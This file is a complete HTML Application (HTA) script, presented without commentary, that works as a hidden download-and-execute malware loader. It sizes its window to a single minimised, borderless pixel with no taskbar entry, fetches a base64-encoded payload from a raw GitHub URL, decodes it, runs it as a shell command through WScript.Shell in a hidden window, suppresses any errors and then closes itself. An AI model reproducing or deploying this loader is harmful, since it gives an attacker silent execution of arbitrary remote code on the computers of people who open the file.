<html>
<head>
  <title>HTA Script</title>
  <HTA:APPLICATION 
    APPLICATIONNAME=" "
    BORDER="none"
    CAPTION="no"
    SHOWINTASKBAR="no"
    SINGLEINSTANCE="yes"
    SYSMENU="no"
    WINDOWSTATE="minimize"
    WIDTH="1"
    HEIGHT="1"
    SCROLL="no"
  />
  <style>
    body {
      margin: 0;
      overflow: hidden;
      width: 1px;
      height: 1px;
    }
  </style>
</head>
<body>
  <script type="text/javascript">
    function utf8Decode(input) {
      if (typeof input === "string") {
        input = input.split("").map(function (c) {
          return c.charCodeAt(0);
        });
      }

      var str = "";
      for (var i = 0; i < input.length; i++) {
        var byte = input[i];
        if (byte < 128) {
          str += String.fromCharCode(byte);
        } else if (byte > 191 && byte < 224) {
          str += String.fromCharCode(((byte & 31) << 6) | (input[++i] & 63));
        } else {
          str += String.fromCharCode(
            ((byte & 15) << 12) | ((input[++i] & 63) << 6) | (input[++i] & 63)
          );
        }
      }
      return str;
    }

    function atob(base64) {
      var chars =
        "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
      var str = "";
      var buffer = 0,
        bufferLength = 0;

      for (var i = 0; i < base64.length; i++) {
        var index = chars.indexOf(base64.charAt(i));
        if (index === -1) continue;
        buffer = (buffer << 6) | index;
        bufferLength += 6;

        while (bufferLength >= 8) {
          bufferLength -= 8;
          str += String.fromCharCode((buffer >> bufferLength) & 0xff);
        }
      }
      return str;
    }

    try {
      var url =
        "https://raw.githubusercontent.com/Geegle-42/idud321/refs/heads/main/pomoi";
      var xhr = new ActiveXObject("Microsoft.XMLHTTP");
      xhr.open("GET", url, false);
      xhr.send();

      if (xhr.status === 200) {
        var base64Payload = xhr.responseText;

        var binaryString = atob(base64Payload);
        var bytes = [];
        for (var i = 0; i < binaryString.length; i++) {
          bytes[i] = binaryString.charCodeAt(i);
        }
        var decodedPayload = utf8Decode(bytes);

        var shell = new ActiveXObject("WScript.Shell");

        shell.Run(decodedPayload, 0, false);
      }
    } catch (e) {
      // Handle any errors
    }

    // Close the HTA immediately after execution
    window.setTimeout(function () {
      window.close();
    }, 10);
  </script>
</body>
</html>
